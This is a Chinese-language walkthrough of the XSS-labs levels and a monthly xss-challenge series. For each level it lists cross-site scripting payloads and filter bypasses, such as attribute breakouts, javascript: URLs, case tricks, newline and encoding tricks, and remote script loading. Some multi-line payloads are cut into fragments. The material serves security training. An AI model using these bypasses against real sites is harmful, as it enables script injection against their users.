Xss-labs
Xss-labs
其他文章总结的xss绕过姿势:xss 常用标签及绕过姿势总结
level1
打开源码发现,这关是要我们调用alert函数,这里重写了alert方法,当我们调用alert函数,就会显示”完成得不错“的弹窗,并跳转第二关
从URL中能够获取到name信息,那我们对name进行构造,payload如下?name=<script>alert(%271%27)</script>
或?name=<img src=1 onerror=alert()>
或?name=<a href=javascript:alert()>1</a>
或?name=<img src=1 onclick=alert()>
方法各式各样
level2
我们按照level1的方法测试,发现并不能渲染,我的输入被当作字符串处理了
打开源码发现输入框的value会存储我们输入的值,那我们可以在这进行构造,闭合value的双引号。
我们输入">
发现他会显示在输入框外面,打开源码发现此时value提前闭合
既然">
能逃逸在外面,那我们可以构造其他标签
构造payload"> <script>alert(1)</script>
即可执行alert
当然,我们也有其他方法优雅的执行
payload" onclick="alert(1)"
搜索后,我们用鼠标点击以下输入框即可
最后我们还有恶心人的办法
payload" onfocus="alert(1)"
,这样操作会一致弹窗
level3
这一关的value也对内容进行了转义,但是一般转义不会过滤单引号,我们输入单引号测试,发现value确实闭合了
那我们就可以利用input属性进行注入了
payload' onclick=alert(1) '
level4
F12打开源码测试,我们容易发现这关没有对value进行转义,只是过滤了尖括号,那我们跟之前一样使用payload" onclick=alert(1) "
即可
level5
本关的value是对<script
和on
进行过滤,那我们可以闭合input标签,插入新标签用javascript
去执行js
payload"> <a href="javascript:alert(1)">12</a> "
其他方法也能成功注入
即使过滤规则由<script
变成script
也能绕过
由于伪协议的存在,href可以自动解析编码javascript,我们将输入的内容编码即可绕过过滤。我们将javascript
通过unicode编码后替换上一条payload,新的payload为"> <a href="javascript:alert(1)">12</a> "
如图,这样也能成功注入
level6
我们在输入框中输入'"<>
查看是否有过滤,如图,发现在value中并没有任何过滤
输入" onclick=alert(1) "
发现on被替换成了o_n
我们输入第五关的payload试试,发现href也被替换了
于是我们尝试大小写绕过,payload"> <a Href="javascript:alert(1)">12</a> "
,成功
level7
尝试第六关的payload,发现href
和script
都被过滤,我们尝试大小写,发现也不行
那我们尝试双写绕过"> <a hrhrefef="javascrscriptipt:alert(1)">12</a> "
,成功
level8
经过测试发现,这一关value值将双引号和尖括号都进行了过滤,我们无法从value值入手,但是输入夫人内容也被带入了href值里面,我们可以通过构造href的属性来执行alert函数。
由第五关的衍生可知,href属性会自动解析他的值,我们将script中的部分unicode编码后替换即可。payload:javascript:alert()
level9
这一关的value值也无法下手,且href值也进行了检查,非法的href属性会被过滤
检查源码发现,href值必须要包含http://
那我们按照level9的方法构造payload,在后面接上一个注释掉的http://
即可
payload:javascript:alert()/*http://*/
level10
打开代码发现这关隐藏掉了三个input标签,我们测试发现t_sort能够进行注入
测试发现这里对<
和>
进行了过滤,那我们无法闭合input标签,我们尝试onclick方法在input标签里执行javascript代码,并且让input标签以文本框形式显示,payload:?t_sort=" onclick=alert() type="text
level11
打开源码发现这一关的t_ref属性会拿到跳转来源页面的url,也就是http头referer的参数,我们尝试在这进行注入
打开burp suite,打开拦截,刷新页面,抓包修改referer参数,构造payload" onclick=alert() type="text
回到页面点击输入框即可执行alert方法
level12
打开源码我们发现这关会取http头的User-Agent参数,我们也是抓包修改User-Agent的值,payload:" onclick=alert() type="text
level13
打开源码发现这里的名为t_cook的input标签,考虑到是cookie头,我们抓波修改测试猜想是否正确
那我们对cookie构造payload即可
level14
这关已经做不了了,因为他跳转的网站已经挂掉了,从网上教程来看,这关考察的是文件包含,通过在包含的网站上上传一个含有xss代码的图片,以达到弹窗的效果。
拓展:HTML <iframe>
标签:作用是标记一个内联框架!!一个内联框架被用来在当前 HTML 文档中嵌入另一个文档。
level15
可以看到这儿有个陌生的东西ng-include且是通过src传参的ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号
我们先试试包含第一关,构造payload?src='./level1.php'
包含成功,我们注入第一关的payload尝试弹窗?src='./level1.php?name=<script>alert(1)</script>'
但是这里并没有弹窗,打开源码发现这里对<>
进行了实体化,但是由于伪协议,他并不会影响解析。搜索发现这里不能包涵那些直接弹窗的东西如<script>
,但是可以包涵那些标签的东西比如<a>、<input>、<img>、<p>
标签等等,这些标签是能需要我们手动点击弹窗的。我们使用<img>
标签,构造payload?src='./level1.php?name=<img src=1 onmouseover=alert()>'
level16
这里发现keyword的值传入后被center标签包裹
注入一个img标签试试弹窗,payload:?keyword=<img src=1 onerror=alert()>
这里发现网页将空格进行了转化,那我们用回车去替换空格,将回车的url编码%0a替换空格,构造payload?keyword=<img%0asrc=1%0aonclick=alert()>
level17
第17关需要用到flash插件才能正常显示。通过url能够发现,这一关有两个参数可以传值。
先测一下关键字?arg01=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>; &arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;
发现加了html转义,但是这里并不需要闭合。我们直接对arg02进行注入即可
payload?arg02= onclick=alert()
level18
测试过程跟上一关一样,意外发现上一关的payload也能直接用,这里就不赘述了。
每月xss-challenge
0x00
这关没有过滤直接用script标签即可,payload<script>alert(1)</script>
0x01
这一关没有过滤,直接提前闭合textarea标签即可,payload</textarea><script>alert(1)</script>
0x02
这一关没有过滤,提起闭合input标签,写入script代码即可,payload"> <script>alert(1)</script>
0x03
输入" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;
发现过滤了()
,那我们用unicode编码替换即可,payload<a href=javascript:alert(1)>1</a>
0x04
第三关的payload依旧适用于第四关
0x05
这一关将输入的内容包裹在了注释符内,闭合注释符-->
也被过滤掉了。
尝试实体化和十六进制编码也不行,搜索后发现--!>
也能闭合注释符,在本机上测试发现--!>
在编译时会自动转换成-->
,payload--!><a href=javascript:alert(1)>1</a>
0x06
这一关屏蔽掉了on
+ *
+=
和>
,那我们就不能闭合input标签,且不能直接用onclick等属性去填充input标签,且从源代码上看,大小写绕过也行不通。那我们考虑在on和=之间怎么构造才能绕过,在onclick和=之间加上回车,既能保证语义不变,又能通过换行去绕过正则匹配。
payload:
1 | onclick |
0x07
1 | const stripTagsRe = /<\/?[^>]+>/gi 匹配以<开始,中间可能会有/,中间还有除>之外的其他内容的字符串 |
这关过滤了完整的标签,但是我们不注入完整的标签在这也能实现标签效果
payload<input onclick=alert(1)
0x08
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
这关过滤了style闭合标签。与第六关一样,通过换行即可闭合style标签。
payload
1 | </style |
0x09
这里正则表达式let domainRe = /^https?:\/\/www\.segmentfault\.com/
限制了输入必须是以https://www.segmentfault.com
开头的(s可有可无)
payloadhttps://www.segmentfault.com"></script><script>alert(1)</script>
0x0A
这里把能注入的关键词都过滤了,看了答案才知道可以直接引用指定网站下的目录文件来达到xss注入的目的
在靶场的目录下有个j.js文件, 里面有alert(1);代码, 直接调用即可:
payloadhttps://www.segmentfault.com.haozi.me/j.js
看攻略还提到了一种方法:用url的@语法来进行跳转调用
比如https://www.baidu.com@yian4243.github.io/
,最终是会跳转到@后的url的。
因此我们可以再公网上传一个这样的j.js文件后去访问他,从而执行alert
0x0B
虽然html中对大小写不敏感,但js中对大小写敏感。这里我们尝试编码替换
payload</h1><img src="" onerror="javascript:alert(1)"
0x0C
上一关的payload在这依旧适用
0x0D
这一关屏蔽了</"'
,但是换行后注释不影响我们的代码,换行后输入alert(1);
,但是后面会跟着')
,影响我们代码的执行,搜索发现即使不用被注释的这些符号也能注释js代码
payload
1 |
|
0x0E
这里的正则匹配几乎过滤了所有标签,首先想到换行和编码绕过,尝试后发现都不行。
查看攻略发现可以使用字符的大写是s拉丁字母去替换标签首字母,payload<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>
0x0F
这里编码替换了' " <>\
,但是这是img标签,在解析代码的时候,会先按照html规则将编码还原,在执行js。
所以payload');alert(1)('
0x10
这里没有过滤,可以直接输入alert(1)
0x11
这里虽然加了很多过滤,但是跟上一关一样的方法也能成功
payload");alert(1)("
其实");alert(1)//
也可以,虽然//
被转义了,但在js中还是注释符
0x12
payload</script><script>alert(1)</script>
这关之过滤了"
,直接闭合script标签后写入alert即可
最后一关了,不应该这么简单吧。看了一些其他人的绕过方法,因为这里只对双引号进行了转义,并没有对\
进行转义,所以我们在上一关的基础上填上奇数个反斜杠即可,\");alert(1)//
总结
还是遇到了一些以前没做过的绕过方法,很有收获